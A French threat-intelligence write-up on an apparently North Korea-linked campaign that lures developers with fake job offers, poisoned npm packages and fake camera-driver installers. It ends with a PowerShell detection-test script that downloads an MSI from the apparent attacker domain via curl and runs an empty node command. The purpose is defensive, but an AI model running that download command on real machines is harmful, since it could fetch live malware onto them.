Une campagne de recrutement fictive utilise des packages npm pour cibler les développeurs

Résumé

Un acteur de menace sophistiqué lié à la Corée du Nord utilise de faux processus de recrutement pour compromettre les développeurs. La campagne suit une chaîne d’infection en plusieurs étapes impliquant des entreprises frauduleuses, des paquets npm empoisonnés et des installateurs malveillants de « pilotes de caméra ». En abusant de plateformes professionnelles de confiance telles que LinkedIn et GitHub, les attaquants augmentent leur crédibilité et réduisent la suspicion lors de l’engagement initial.

Investigation

JFrog Security Research a retracé la campagne d’un seul paquet npm malveillant à une entreprise de diversion entièrement développée appelée AccuraSoftHire. Les enquêteurs ont découvert une infrastructure coordonnée impliquant de faux profils LinkedIn, un site web de carrières convaincant et plusieurs comptes npm jetables. L’analyse technique a connecté les personnages recruteurs, les auteurs de projets GitHub et les éditeurs de paquets npm via des adresses email partagées et des marqueurs de code récurrents.

Atténuation

Les développeurs devraient traiter les affectations de code à domicile comme du code non fiable et ne les exécuter que dans des machines virtuelles ou des conteneurs isolés et jetables. Évitez d’exécuter des commandes d’installation fournies via des navigateurs, surtout celles utilisant curl ou PowerShell. Les organisations devraient renforcer la sécurité de la chaîne d’approvisionnement logicielle en auditant les fichiers de verrouillage des dépendances et en surveillant les mises à jour de paquets inattendues ou non autorisées.

Réponse

Lorsque des paquets npm suspects ou des changements non autorisés des tâches VS Code sont détectés, isolez immédiatement la station de travail affectée. Effectuez une analyse forensic des téléchargements récents, de l’activité du navigateur et des commandes exécutées. Vérifiez les tâches planifiées non autorisées ou les nouvelles entrées de registre associées aux hôtes de messagerie native de Chrome. Révisez les identifiants des développeurs et les sessions actives pour réduire le risque de détournement de session.

Exécution de simulation

Prérequis : La vérification pré-vol de télémétrie et de base doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) destinée à déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou déconnectés conduiront à un diagnostic erroné.

• Récit de l’attaque & Commandes : L’adversaire cherche à établir une persistance en se faisant passer pour une mise à jour système. Suite à une tromperie par ingénierie sociale réussie, l’attaquant exécute une commande curl pour télécharger un fichier MSI malveillant, en le nommant CameraDriverUpdate.msi pour se fondre dans le bruit du système. Immédiatement après, l’attaquant exécute node -e ""—une technique utilisée pour tester l’environnement ou se préparer à des charges utiles JavaScript plus complexes et obscures qui échappent à une détection simple. La combinaison d’un téléchargement spécifique de thème de pilote et d’une exécution de nœud vide est le déclencheur principal pour la règle de détection.

• Script de test de régression :

  # Script de simulation pour déclencher la règle de détection.
  # Ce script imite les chaînes spécifiques identifiées dans la règle Sigma.
  
  $TargetUrl = "https://accurasofthire.com/camera-driver/setup-win"
  $FileName = "CameraDriverUpdate.msi"
  $FullCurlCmd = "curl -L -o $FileName `"$TargetUrl`""
  
  Write-Host "[+] Exécution de la commande curl malicieuse..." -ForegroundColor Yellow
  Invoke-Expression $FullCurlCmd
  
  Write-Host "[+] Exécution de la commande node vide..." -ForegroundColor Yellow
  node -e ""
  
  Write-Host "[+] Simulation terminée. Vérifiez SIEM pour une alerte." -ForegroundColor Green

• Commandes de nettoyage :

  # Script de nettoyage pour supprimer les artefacts créés pendant la simulation.
  if (Test-Path "CameraDriverUpdate.msi") {
      Remove-Item "CameraDriverUpdate.msi" -Force
      Write-Host "[+] Artefact MSI malveillant supprimé." -ForegroundColor Cyan
  }